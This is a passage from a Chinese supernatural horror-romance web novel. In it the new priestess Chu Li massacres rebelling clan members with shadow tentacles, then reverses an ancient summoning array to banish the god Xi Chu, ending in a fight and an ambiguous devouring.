将人扶稳后,楚黎没再解释,松开手面向祭台。 “本次祭礼神侍更替。”她的声音再次响起,这次是面对所有族人,“本次的神侍——” 她清晰地念出数十位少女少男的名字,包括楚雀伶。 “以上,免去神侍资格。”楚黎的目光扫过那些从绝望转为愕然的年轻脸庞,“新侍名单如下。” 一连串名字从她口中报出,语速平稳,没有任何感情起伏。 每一个名字落下,跪伏的人群中,就有某个属于本家的人身体剧烈地一震。 当最后一个名字念出时,广场上紧绷到极致人群终于炸开,本家血脉的方向传来撕心裂肺的吼声、质疑声: “我们是本家血脉,凭什么是我们!” “这不合规矩,本家血脉不可为神侍,这是老祖宗定下的!” “你不是大傩,大傩在哪,我们要见大傩!” 被点到名字的数十位本家人直冲祭台,不仅是他们,几乎所有的本家血脉都朝祭台涌来。 他们太清楚成为神侍的下场,也明白了眼前这位大傩,和本家不是一条心的。 他们不允许怀有异心的大傩统治楚氏。 忽然,人群中爆发出一声怒吼。 “杀了她!她和楚若映是一伙的,她杀了大傩!” 第36章 第三十六章 复仇 “轰!” 阴影凝成狰狞触肢, 轰然拍下,那声怒吼戛然而止了。 广场石砖开裂下陷,碎石与血泥飞溅, 混合着花□□液。这滩被压碎的猩红,震住了所有人。 风卷着腥臭味,送到楚黎面前。 胃条件反射地痉挛收缩, 但她的心没有波澜,灵魂仿佛飘荡在半空, 观望着这一幕。 短暂的、令人心悸的死寂后, 被点到名的本家族人面容扭曲, 嘶吼着扑向祭坛方向。 他们的家人亲友也都红了眼, 如同被逼入绝境的狼群,汇聚成一股绝望混乱的人潮, 朝祭坛汹涌扑来。 绝望点燃了凶性, 各种嘶吼谩骂和青铜铃晃动声响成一片。 “她是叛徒楚若羡的女儿!” “杀了她!杀了她!” “为大傩报仇!” 嘶吼声几乎掀翻广场。 傩术、铃音、冰冷的武器都涌向了楚黎。 楚黎站在高处的祭台,望着底下的人潮, 分辨着一张张扭曲面容, 将所继承的记忆和人对上号。 她没有动, 只是轻轻抬起手。 “簌簌——” 触肢毫无征兆从她脚下的阴影钻出, 它们快如闪电, 奔向人潮。 “噗嗤!噗嗤!” 触肢精准地贯穿了冲在最前面的几个本家族人的胸膛, 如同串起几块血肉。 被刺穿的人动作僵住, 鲜血喷涌染红地面, 难以置信看着从自己胸口穿过的蠕动黑色异物,连惨叫都来不及发出。 触肢猛地甩动! 几具被贯穿的尸体像破麻袋,狠狠砸向汹涌人潮。 “砰!砰!砰!” 沉闷坠地声伴随着骨头碎裂的脆响,人群的冲势一顿, 被砸中的人哀嚎倒地,后方的人被绊倒,场面瞬间变得更加混乱恐慌。 “她获得了傩神的力量!”有人惊骇欲绝地尖叫。 恐惧如瘟疫蔓延,小部分人开始退缩。但绝望的愤怒没有熄灭,更多的本家族人,尤其是那些家中有至亲被选为神侍或刚才被杀的,彻底红了眼,踩着同伴尸体,表情癫狂往上冲。 他们都知道,不杀了楚黎,本家族人数千年所享用的特权将被彻底覆灭。 触肢不停穿梭,血肉横飞。 一个握着短刀中年男人冲上祭台,手里的青铜铃发出催命般的声音,音波荡向楚黎。 他面目狰狞:“去死!” 祭台上的身影如同静止,左手翻动,猩红丝线从指尖垂落,有生命般游动起来。 刀刃刺向楚黎那刻,男人狰狞的表情凝固。 “呃啊——!”他发出不似人的哀嚎,用双手死死扼住脖子,跪在地上剧烈抽搐,眼珠暴突,布满血丝。身上的皮肤不断鼓起,仿佛有无数虫蚁在血管爬行。 紧接着,同样的哀嚎在人群里接二连三响起。 楚黎动了。 她转瞬到了祭台下,阴影在手里凝成锋利刀刃。 举起,落下。 鲜血“呲——”地喷涌。 刀刃由触肢凝成,每一次挥动,都带起喷涌的血泉,留下肢体断裂、倒地挣扎的身影。血液顺滑滚落,无论杀了多少人,都不会沾上半点血色。 人潮被凿开一条血路,那些负隅顽抗的,被触肢或红线解决。 血。 越来越多的血泼洒在广场上,汇成细流,淌过古老的缝隙。浓烈腥臭的铁锈味弥漫开来,粘稠糊在每个人的口鼻间。 楚黎没看倒下的人是谁,也不去辨认他们生前的表情是愤怒还是恐惧。祭服下摆沾了血,变得沉重。 她的意识像是悬在高处,置身事外下方的血腥场景。 一人挥动木杖,杖尖凝聚起暗红光芒。楚黎甚至懒得躲避,刀刃随手挥过,那根据说是祖传的木杖连同握着它的手一起断成两截。 “楚黎,你背叛本族,不会有好下场的!!” 惨叫声淹没在更多的嘶吼和傩术施展声中。 漆黑刀刃精准划开一个青壮男人的喉咙。 温热的液体喷洒傩面,楚黎下意识闭眼,任由腥咸浸湿衣襟。喉咙忽然发紧,胃开始痉挛抽搐,她用力压下呕吐的欲望,挥刀的手更快更稳。 祭祀广场如一口沸腾的血锅。 惨嚎声、咒骂声、求饶声……最初嘶吼叫骂,渐渐变得稀疏。 广场彻底死寂,只有风声在呜咽。 楚黎静立在原地,灵魂像是被抽离出来,浮在半空。 她望向祭台边浑身是血但眼神亮得惊人的小姨,看着那群被反绑的少女少男,他们满脸惶然。 然后看向身后,旁支们匍匐在地,像沉默的蚁群。 日光毫无保留落下,映照着延绵建筑群。再远一点,栽满血杉木的神山以及屹立的神祠。 一种无法言喻的疲惫和冰冷浸透了楚黎。 从她在订婚仪式上选择杀觋楚那一刻,从她选择回到楚家的那一刻,……所有过往,无论愤怒,悲伤,绝望,或是后来那点摇摇欲坠的迟疑怜悯,都在此刻面前这血流成河的广场上,被一道无形的刀刃,干净利落地、彻底地斩断了。 傩面冰冷,祭服被血浸透沉甸甸压在身上,脚下踩着黏腻的血。她是踩着无数人的命、踏着前任大傩的尸骨上来的新一任大傩。 风吹散了浓重的血腥味。 楚黎径直走向那群被选作神侍的少女少男,他们被反绑着,鸡仔般缩成一团。 他们从没见过这样恐怖的场面,有人被吓晕了,有人见楚黎过来,眼泪鼻涕齐流,哀求着不要杀自己。 楚雀伶被吓晕过一次,又被厮杀声惊醒,此时脸色惨白在发抖。 刀刃迅速挥过。 麻绳断裂,被束缚的少年们重获自由。 楚黎收起刀,语气平静:“你们可以离开了。” 他们惶惶挤在一起,争先恐后跪伏着,祈求着,没有人敢起来。 楚雀伶被挤了一下,眼看就要跌倒,一只手把她及时扶住。 “啊——!!”楚雀伶像是被毒虫蛰,控制不住甩开,一屁股摔在地上,眼泪瞬间涌出。反应过来甩开的是谁,她不顾满地血水,伏在地面,“我、我……对不起,对不起……” 山风呜咽着回荡。 楚黎沉默望着视她如鬼的楚雀伶,恍然惊觉,几天前两人坐在石阶上分吃贡礼的场景如同隔世。 心仿佛被蚕食了一块,永远地缺失了。 她没再伸手去扶,轻声说:“没关系,回家去吧。” 楚雀伶怔怔抬头,望着她嘴唇蠕动了几下,眼泪接连流淌,但最终什么也没说,踉跄着跑开。 有了一个带头离开的,跪伏的人群开始骚动。 楚若映扔开抢来的刀,刚刚的混战中,她杀了试图几个靠近楚黎的族人。她大步走来,当着所有惶恐不安族人的面,一把将人搂进怀里。 “一声不吭跑到哪去了?”楚若映力气很大,把楚黎按在肩窝上,“吓死小姨了!” 很普通的、训斥小辈的一句话。 楚黎一直飘在上方俯视一切的灵魂忽然因为这句话掉回身体,那些被刻意忽视的情绪汹涌反扑。 黏稠的血味不停往鼻子里钻,胃开始剧烈抽搐,眼泪浸透了脸庞和傩面之间的缝隙。 她想发疯,想尖叫,想从这些噩梦般的场景里醒来。 楚若映紧紧抱住怀里颤抖的身体,压着哽咽道:“没事,没事了。你做得很好,神祠的封印还在,以后小姨守在这,不会让祂再去找你。你回去读书,该做什么就做什么,不用管这……” 听着絮絮叨叨的声音,楚黎的眼泪更加汹涌,喃喃说:“没有时间了……小姨,我回不去了。” “什么没有时间,怎么会没有时间?”楚若映连忙松开,匆忙检查她的身体,看见那枚对戒,整个人像被钉在原地。 “我向祂借了力量,只有三天。” 楚黎抱了一下她,牵起唇角:“小姨,你去打开山门,放他们下山吧。我还有一件事没做完。” 楚若映生出一种不妙的预感:“小黎,你要干什么!” 红线流淌交织,形成一面柔软的墙,将所有还存活的人往下山方向推。 不像驱逐,更像一种保护。 “小黎,楚黎!你还要干什么!”楚若映扒着红墙,被一点点推离,眼泪不停流下,“你杀不了祂的,不要做傻事!” * 楚黎行走在血肉残肢遍地的广场上,一步步登上祭台,望向神祠方向。 要回去吗? 不,她从来没打算过留在祂身边。 再华丽的笼子依然是笼子,再温柔可亲的饲养者还是掌握着笼中鸟的生死。 谁能保证神明会永远垂怜同一个人类? 失去垂怜后,依附神明生存的人类会有什么下场? 楚黎不愿将自己的命运交到他人手中。 视线凝聚在脚下的祭台,猩红纹路构筑成一层又一层的繁复法阵。 历代大傩的记忆在她脑海中流转碰撞。复杂的阵纹、繁琐的节点布置、傩术流转的路径……短时间读取大量记忆,远远超出身体负荷,太阳穴痛得快要炸裂,她有种跌进万花筒的眩晕感。 身体里的另一股力量修补超过负荷的身体,驱散了这种不适。 她深吸一口气,视线扫过每一道刻痕,像在看一本早已熟悉的书。 这个用来加强楚家对神明的封印、窃取神明力量、吸取神侍生命力的法阵……在她脑中瞬间解构,剥去一代又一代大傩叠加的法阵,她找到了最核心处,那个古老到快被时间掩埋的框架。 那是初代大傩布下的请神法阵。 它是最原始,也最接近本源的,起到与神明“沟通”的作用。 楚黎凝视着它。 请神……如果把这“请来”的意图彻底扭转呢? 送。 把请来的,再送走。 楚黎的目光落在几个关键的符文节点上。 念头一闪而过,心口下的红印猛地刺痛,如同某种暴怒的警告。 她蜷起手指,指节捏得泛白,压下心口的刺痛,伸手沾了点地面还带体温的血,它属于刚刚死去的人,充满死亡和憎怨气息,是最好的媒介。 染血的手指精准点在代表“请”的源头纹路上。 “嗤!” 猩红纹路像被高温灼烧,楚黎紧抿唇瓣,手指一寸寸压下,血珠在傩文凹陷处晕开。 她没有描画新的傩文,反而将那一点血,狠狠一抹! 像擦掉一点碍眼的污迹。 整座祭台剧烈颤动,猩红纹路如同活过来,交错流动着,散发出不详红光。 “咔嚓——” 细微碎裂声不停传来。 核心被破坏,那些基于最初请神法阵叠加的新法阵一层一层碎裂。 包括神祠封印。 冷汗顺着鬓角流淌,楚黎忍着破坏法阵的反噬,割破指腹,更多的鲜血滴落,她开始一笔一划,逆写最初的请神法阵。 要快。 必须赶在封印破开之前完成! 逆写法阵的每一笔落下都如同剜心,她跪在地面,意识因剧痛扭曲,手指一笔一划,艰难重写。 “轰隆——” 阴云刹那堆积,雷声在云层炸开。 神山上空荡开幽微的、令人毛骨悚然的波动。猩红的封印包裹着神山,嗡鸣亮起,但很明显,它正在逐渐衰弱。 转眼间,封印像脆弱的玻璃镜面,被一只无形巨手拍下,出现一条无法忽视的裂缝。 封印神明千年的神祠化作尘埃,黏稠的黑暗从破开的裂隙中疯狂地向外膨胀喷涌! 触肢从黑暗里伸出,不再是楚黎熟悉的模样。 它们纠缠翻滚、畸变扭曲,像不可名状不可直视之物,向外吞噬一切可见之物。 轰隆隆! 狂风席卷向四周山体和楚家建筑,半边神山承受不住神明的怒火,山壁坍塌,大片杉木林倾折。 碎石如暴雨般砸下,临近神山几座古老楼宇首当其冲,巨大的木石结构像纸糊般被撕裂。 天黑得像墨汁泼洒。 狰狞触肢狂涌而来,向着祭祀广场上的祭台,铺天盖地地碾压过来。 神明的声音暴怒无比,震得地面颤动: “第、四、次。”【你现在阅读的是 】 【正文完】 第37章 第三十七章 “我们才是同类…… 祭台上猩红纹路流动, 距离完成逆写法阵,只差一笔。 “轰——!” 坍塌声、碎裂声震耳欲聋。狰狞蠕动的阴影吞噬大半天空,毁灭的浪潮掠过楚黎。 由漆黑阴影凝聚的庞大触肢, 像嗅到血腥气的鲨鱼群,朝着山门方向汹涌扑去。 沿途的空气被撕裂,发出刺耳尖啸。 楚黎瞳孔骤缩。 小姨和数百个旁支族人还没撤离出山! 她强行停止改写法阵, 双手在身前急速交叠变幻,身体里的巫傩之力与借来的神明力量顺着指尖倾泻。 “嗡!” 无数猩红丝线从楚黎脚下、从祭台的血污中、甚至从空气中瞬间迸发, 凝成一面透明红墙。 这堵墙, 横亘在漆黑狂潮与山门之间。 “轰隆!!!” 漆黑洪流狠狠撞在红墙上。 红线不断崩裂, 墙面被撞出巨大的凹陷, 细密的裂纹蔓延。冲击波呈环形炸开,将沿途建筑彻底夷为平地, 烟尘碎石冲天而起。 楚黎身体剧震, 单膝跪在祭台地面,傩面开裂落地, 一股腥甜液体翻涌到喉咙。 “噗!”鲜血染红眼前仅差一笔的法阵。 她眼神近乎执拗, 拼命维系着摇摇欲坠的红墙。 山门处, 奔逃的人群被吓得魂飞魄散, 尖叫哭喊响成一片。楚若映被冲击波掀飞, 重重摔在地上, 抬头看见快崩塌的红墙, 目眦欲裂:“小黎——!!” 就在红墙彻底崩溃的刹那—— 所有撞向红墙的触肢, 毫无征兆僵住,迅速向后收回。 如同退潮。 它们骤然转向,目标明确无比,朝着祭台方向碾来。 楚黎清晰感受到, 一道充满刻骨怒意的视线死死锁住了她。 太快了! 黏腻冰冷的阴影瞬间笼罩祭台。周围的空间被禁锢压缩,她被无形的力量攥住,动弹不得。 一道身影在祭台边缘凝聚。 是觋楚。 只有小半张脸还维持着俊美轮廓,其余部分由浓稠黑雾构成, 祂的形态介于人形与不可名状之间,带着恐怖的威压。 一只由黑雾凝聚的手,猛地扼住楚黎的脖颈,将她从地面提起。 双脚几乎离地,苍白的脸因窒息而泛起红晕。 “第四次。”觋楚的声音似无数道重叠的呓语,直接灌入她的脑海,震得灵魂都在颤抖,“楚黎,第四次!” 扼住喉咙的手用力收紧。 “我对你还不够好?”祂的语气困惑又暴戾,“我容忍你的欺骗,容忍你的背叛!我赐予你力量,应允你的祈求!我甚至……收回了那些让你恐惧的东西!” 极具压迫感的视线盯着楚黎,似乎要剖开皮肤,看看胸腔之下的心脏,到底装了什么。 “为什么?为什么还要背叛?!”质问如平地惊雷,带着一种被彻底愚弄的暴怒,“你的‘永远’、你的承诺去哪了?在你眼里,我是什么?一个可以被你随意利用、用完就丢的蠢货?!” 窒息感越来越强烈,楚黎眼前发黑,意识逐渐模糊。 “呃……咳、咳……”求生的本能驱使她攥住那只手腕,试图掰开。 掐住脖子的手一顿,随后猛地甩出,“说!” 祭台早已被黏稠的阴影占据,摔在上面如同摔在一滩流动的柔软物体上。 楚黎捂住喉咙剧烈咳嗽,生理性眼泪不断溢出。 她艰难抬起头,望向那团暴怒又不解的黑雾。 积压了许久的愤怒、恐惧、委屈和不甘,在这一刻完全爆发。 “好?”她哑着嗓子嘶吼,“你所谓的‘好’是什么!” “因为你是神明!你垂怜一个人类,她就必须感恩戴德,跪着接受!”楚黎猛地站起,指向神山,一切苦难的源头,“我宁愿自己死在四岁那次高烧里,也不想我妈妈为了救我,回到这个鬼地方!更不想有后面这一连串的烂事、破事!” “你的喜欢,于我、于我的家人而言,就是诅咒!” “凭什么你‘对我好’,我就得放弃一切,像条狗一样永远被锁在你身边?” “我是人!”她用尽全身力气嘶喊,“活生生的人!不是楚家人口中的容器!更不是你养在笼子里的鸟雀!!” 吼声在死寂的广场里回荡,穿过呜咽的风声,清晰传向山门方向。 红墙后的楚若映捂住了嘴,泪水不停掉落。 涌动的黑雾在嘶吼声中凝滞了片刻。觋楚盯着那双含泪的眼睛。 里面没有恐惧,没有祈求,只有玉石俱焚的决绝。 祂忽然体会到自己的荒唐和愚蠢。 “呵……”一声极轻极冷的笑,从觋楚喉间溢出,“既然你如此厌恶这份‘垂怜’,如此憎恨我的存在……” 祂随意地抬手,朝着楚黎的方向,隔空一按。 同时,黑雾骤然沸腾,凝成狰狞触肢,从四面八方拍向摇摇欲坠的红墙。 “轰!!” 以楚黎为中心,脚下的祭台轰然塌陷,祭祀广场裂开巨大地缝。 身穿祭服的纤瘦身影消失,再次出现时,已站在红墙前。 阴影在她脚下流淌,凝成相似的触肢,迎上了暴虐扫来的阴影。 同源的力量碰撞,狂风激荡。 楚黎双手翻飞结印,红线从她身后涌出,似漫天飞舞的锁链,狠狠绞向触肢们,以及神明本体所在的方向。 红与黑,在半空中悍然对撞。 * 广场彻底化为修罗场。 地面塌陷,裂缝纵横交错。远处的山体大块剥落、崩塌,烟尘遮天蔽日。 被困在山门前无法逃离的旁支们瘫软在地,望着仿佛世界末日般的一幕—— 红线与触肢疯狂纠缠、撕咬,掀起的浪潮搅动天空,漆黑厚重的云层变幻翻涌,闪电雷鸣不止。 每一次碰撞,楚黎的脸色就更惨白一分。 觋楚看着那道一次次咳血,又一次次强行使用傩术的身影,她执拗地不像话。 从未有过的奇异悸动突兀产生。 一个人类。 一个弱小的人类,拥有直视神明、并与之搏杀的勇气与力量。她不计代价,只为完成那个该死的、送走祂的法阵! 觋楚没有“心脏”这种东西。 可是此时此刻,祂似乎长出了一颗心脏,并剧烈跳动着。 祂有了片刻的失神。 “缚!”嘶哑的声音穿透山风。 楚黎五指一拢,所有残余的红线,层层缠绕神明本体。 它们由古老傩文凝聚而成,此刻爆发出刺目的血光。 同时,她一跃而起,狠狠撞向被红链暂时束缚的觋楚。 “砰——!” 他们一同砸回那塌陷的祭台中心。 楚黎压在觋楚身上,用尽最后的力量将祂按在残存的法阵上。 猩红法阵纹路,因他们的坠落而微微亮起。 只差最后一笔。 “咳、咳咳……”楚黎再次咳出一口血,温热的液体溅落在觋楚的小半张人类脸庞上。 鲜红血液流淌,染红了冷白皮肤。 她强撑着,手指颤抖抬起,朝最后一笔的落笔处点去。 祂凝望着眼前的人类,肃穆华丽的祭服早已被血浸透,皮肤惨白到近乎透明,暗红血管凸起蠕动,那是过度使用傩术的反噬。 一具脆弱到像玻璃器具的身体。 只需要一点点碰撞,就会彻底碎开。 祂能轻易想象,这副表象下堆叠的痛苦,那已经超出人类所能承受的极限。 可是,觋楚没有从楚黎眼中看见别的情绪。 只有决然,孤注一掷的疯狂。 祂就这样安静地看着,看楚黎落下最后一笔。 翻腾的触肢安静下来,任由红线缠绕。 山风在坍塌的天地间呜咽回荡。 最后一笔补完,古老的法阵凝滞了一瞬,随后开始缓慢流动。 漆黑天空仿佛被无形的手撕裂,逐渐形成漩涡。 觋楚仰躺在破碎的祭台上,脸上沾着她的血。翻涌的黑雾平复下来,重新构筑那副熟悉的人类皮囊,只是眼睛依旧深不见底,非人感浓烈。 “三日后反噬到来,”祂的声音异常平静,“没有我,你会死。” 楚黎压在他身上,声音带着尘埃落定后的疲倦:“我知道。” 在选择回到这里那一刻,她就做好了死去的准备。 用自己的命,斩断楚氏数千年来的命运枷锁,换仅剩的亲人和无辜族人自由。 这很值得。 觋楚短促地笑了一声,声音不含情绪。 “很好……你宁愿面对死亡,也不愿面对我。”祂的语调微微上扬,“在你眼中,我是什么?怪物?” 楚黎的身体僵硬了片刻。身下压着一具冰冷的躯体,甚至在昨天夜晚,她和这具身体还有过最亲密的接触。 山风卷走血腥味,她沉默着,没有回答。 觋楚再次开口,声音更轻,却更锐利:“那你呢?现在的你,是什么?” “人类?” 楚黎恍惚了一瞬。不可避免想起楚雀伶甩开她的惊恐眼神,旁支族人匍匐在地时的背影,楚若映看见她时那一瞬间的怔愣……一幕幕闪过脑海。 冰冷的血黏在手上,已经看不出原本的皮肤颜色。她的手,刚刚杀了数百同族,操控着非人的力量与神明搏杀。她体内流淌着神明的血液,继承着历代大傩的记忆与力量。 在他们眼中,她与觋楚又有什么区别? 她也是一只怪物。 冰凉的手抚上楚黎染血的侧脸,动作带着一丝诡异的温柔,抚过眉眼,拭去眼尾的湿润。 手指向下滑动,隔着祭服,停在她心口下半寸。 那里有一枚暗红印记。正传来无时无刻的刺痛,提醒楚黎反噬的倒计时。 祂的指尖轻轻点在印记上。 一股冰凉温和的力量注入。 奇迹般地,那股如附骨之疽的刺痛消失了。 楚黎彻底怔愣。反噬……被祂亲手解除了。 与此同时,古老的法阵完全被唤醒,细密的傩文像活过来的血蛇,顺着祭台的裂纹,疯狂缠绕神明本体。 天空被疯狂搅动,旋转成吞噬一切光线的漆黑漩涡。所有的光都无法逃脱,被吸入漩涡之中,天地间陷入了绝对黑暗。 唯一的光源只剩缠绕着觋楚的傩文,祂的身体在红光中变得模糊。 在本体即将虚化时,觋楚仰望着压在自己身上的楚黎。 祂声音轻得如同呓语,又像来自深空之外古神的蛊惑: “承认吧,黎黎。” “现在……” “我才是你的同类。” 绝对的黑暗吞噬了最后的光线。 死寂。 令人窒息的死寂笼罩了一切,时间仿佛也凝固在这片黑暗中。 下一刻,祭台的中心,响起令人毛骨悚然的声音。 是一种令人牙酸的咀嚼、吞咽的诡异声响,在绝对的黑暗中持续响起。 起先是迟疑的,渐渐的,越来越快。 一口、一口……又一口。 直到,完全吞食。 既是死亡,也是共生。 ——正文完——【你现在阅读的是 】